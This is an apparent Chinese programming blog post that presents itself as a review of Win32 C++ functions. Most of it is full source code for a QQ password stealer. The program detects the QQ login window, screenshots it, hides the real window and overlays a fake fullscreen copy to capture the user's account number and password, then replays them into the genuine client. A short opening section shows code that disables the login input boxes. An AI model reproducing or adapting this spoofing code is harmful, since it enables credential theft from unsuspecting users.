从屏蔽QQ登录输入框温习几个c++函数

从屏蔽QQ登录输入框温习几个c++函数先看c++ builder的代码:void__fastcall TForm1::FormCreate(TObject*Sender){HWND hCurWindow,HC,HE;//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0){//调用FindWindow()函数去获得QQ登录窗口的句柄 string str; str.sprintf("0x%x",hCurWindow);}TCHAR wClassName[255];//类名变量HC=GetWindow(hCurWindow,GW_CHILD);//得到号码框的句柄HE=GetWindow(HC,GW_HWNDNEXT);//得到密码框的句柄GetClassName(HE,wClassName,sizeof(wClassName));//得到类名GetClassName(HC,wClassName,sizeof(wClassName));//得到类名EnableWindow(HE,false);//使窗口失效EnableWindow(HC,false);//使窗口失效EnableWindow()是个关键的函数,前面是为这个函数做铺垫的,关键是要获得框的句柄,如果FindWindow()和GetWindow()其中一个函数被HOOK的话,那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。FindWindow()函数有一个特性:一次只运行一个程序实例,如果已运行则退出。代码例:if( FindWindow(NULL,"程序标题")) exit(0);------------------------------------------------------------------------------------------------------------------------------再列出VC利用这个函数的实例,也是针对QQ的,代码如下:#include #include #include "resource.h"HBITMAP g_pBitmap; //保存截取的屏幕图像char qqpass[64] = "\0"; //保存用户输入的QQ密码char qqid[64] = "\0"; //保存用户输入的QQ号码HFONT myfont;RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt; //保存QQ号码,密码,登陆,取消等窗口的区域HWND QQID = NULL, QQPASS =NULL;HWND g_hWnd = NULL;//获取屏幕分辩率int m_xScreen = GetSystemMetrics(SM_CXSCREEN);int m_yScreen = GetSystemMetrics(SM_CYSCREEN);BOOL CreateQQItem(HWND hWnd);BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);void QQFind();HBITMAP CopyScreenToBitmap(LPRECT lpRect);LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);//根据进程ID得到进程名称BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, &pe)) { return FALSE; } while (Process32Next(hSnapshot, &pe)) { if (pe.th32ProcessID == PID) { strcpy(lpszProcessName, pe.szExeFile); return true; } } return FALSE;}//查找QQ登录窗口void QQFind(){ HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL; HWND ButtonLogin = NULL, ButtonCancel = NULL; char sTitle[255]; CString ss; DWORD QQPID; int LoginID; BOOL find = FALSE; do { //获得当前激活窗口的句柄 g_hWnd = GetForegroundWindow(); GetWindowThreadProcessId(g_hWnd, &QQPID); //根据PID获得进程名 processIdToName(sTitle, QQPID); ss = sTitle; ss.MakeLower(); //判断是否QQ if(ss != "qq.exe") { Sleep(100); continue; } //获得标题文字,判断是否登陆对话框 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); ss = sTitle; int n = ss.Find("QQ", 0); int m = ss.Find("登录", 0); if(n >= 0 || m >= 0) { //查找QQ登陆按钮的句柄 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录"); LoginID = GetDlgCtrlID(ButtonLogin); //获得QQ登陆按钮窗口位置 GetWindowRect(ButtonLogin, &g_qqLogin); //查找QQ取消按钮的句柄 ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消"); //获得QQ取消按钮窗口位置 GetWindowRect(ButtonCancel, &g_qqCancel); //查找QQ密码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL); if(hWnd1 != NULL) { qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL); //获得QQ密码输入框窗口位置 GetWindowRect(qqPass_hWnd, &g_qqPassRt); } //查找QQ号码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL); if(hWnd1 != NULL) { qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL); //获得QQ号码输入框窗口位置 GetWindowRect(qqID_hWnd, &g_qqIDRt); //获得当前默认QQ号码 SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid); } //等待QQ窗口完全出现后抓取整个屏幕 Sleep(100); g_DlgRt.left = 0; g_DlgRt.top = 0; g_DlgRt.right = m_xScreen; g_DlgRt.bottom = m_yScreen; g_pBitmap = CopyScreenToBitmap(&g_DlgRt); //设置QQ窗口为不可见 ShowWindow(g_hWnd, SW_HIDE);// LONG qqPassStyle;// qqPassStyle = GetWindowLong(g_hWnd, GWL_STYLE);// SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE); //弹出我们创建的伪造对话框 HINSTANCE hInstance = GetModuleHandle(NULL); DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); //设置QQ窗口为可见 ShowWindow(g_hWnd, SW_SHOW); //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮 SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid); SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass); SendMessage(ButtonLogin, BM_CLICK, 0, 0);// SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle | WS_VISIBLE);// InvalidateRect(g_hWnd, &g_DlgRt, TRUE); DeleteObject(g_pBitmap); //设置标志退出循环 find = true; } } while(find == FALSE);}//拷贝屏幕HBITMAP CopyScreenToBitmap(LPRECT lpRect)//lpRect 代表选定区域{ HDC hScrDC, hMemDC; // 屏幕和内存设备描述表 HBITMAP hBitmap, hOldBitmap; // 位图句柄 int nX, nY, nX2, nY2; // 选定区域坐标 int nWidth, nHeight; // 确保选定区域不为空矩形 if (IsRectEmpty(lpRect)) return NULL; //为屏幕创建设备描述表 hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL); //为屏幕设备描述表创建兼容的内存设备描述表 hMemDC = CreateCompatibleDC(hScrDC); // 获得选定区域坐标 nX = lpRect->left; nY = lpRect->top; nX2 = lpRect->right; nY2 = lpRect->bottom; //确保选定区域是可见的 if (nX < 0) nX = 0; if (nY < 0) nY = 0; if (nX2 > m_xScreen) nX2 = m_xScreen; if (nY2 > m_yScreen) nY2 = m_yScreen; nWidth = nX2 - nX; nHeight = nY2 - nY; // 创建一个与屏幕设备描述表兼容的位图 hBitmap = CreateCompatibleBitmap (hScrDC, nWidth, nHeight); // 把新位图选到内存设备描述表中 hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); // 把屏幕设备描述表拷贝到内存设备描述表中 BitBlt(hMemDC, 0, 0, nWidth, nHeight, hScrDC, nX, nY, SRCCOPY); hBitmap = (HBITMAP)SelectObject(hMemDC, hOldBitmap); //得到屏幕位图的句柄 //清除 DeleteDC(hScrDC); DeleteDC(hMemDC); // 返回位图句柄 return hBitmap;}//对话框回调函数LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){ BOOL bRet; HDC dc, MemDc; POINT point; switch (message) { case WM_INITDIALOG: bRet = CreateQQItem(hDlg); //为对话框创建两个文本框来获取用户的输入 //设置对话框占满整个屏幕,并保持最前 bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW); return TRUE; case WM_ERASEBKGND: //贴上截取的图片来刷新背景 dc = (HDC) wParam; MemDc = CreateCompatibleDC(dc); SelectObject(MemDc, g_pBitmap); BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY); DeleteDC(MemDc); return true; case WM_LBUTTONDOWN: point.x=LOWORD(lParam); point.y=HIWORD(lParam); //判断用户是否点击贴图上QQ登陆的按钮 if(PtInRect(&g_qqLogin, point) == true) { //获取用户的输入 GetWindowText(QQPASS, qqpass, 64); GetWindowText(QQID, qqid, 64); MessageBox(hDlg, qqpass, qqid, MB_OK); DeleteObject(myfont); EndDialog(hDlg, 0); } break; case WM_CLOSE: EndDialog(hDlg, 0); break; } return FALSE;}BOOL CreateQQItem(HWND hWnd){ //创建字体,因为系统默认是宋体 myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial"); //创建QQ号码输入文本框 int Width, Height; Width = g_qqIDRt.right - g_qqIDRt.left; Height = g_qqIDRt.bottom - g_qqIDRt.top; QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qqIDRt.left, \ g_qqIDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL); if(QQID == NULL) return FALSE; //根据获得的用户号码填充文本框,增加欺骗效果 SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid); SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0); //设置文本框的字体 //创建QQ密码输入文本框 Width = g_qqPassRt.right - g_qqPassRt.left; Height = g_qqPassRt.bottom - g_qqPassRt.top; QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qqPassRt.left, \ g_qqPassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL); if(QQPASS == NULL) return FALSE; SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0); //设置文本框的字体 return true; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ QQFind(); return 0; }
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值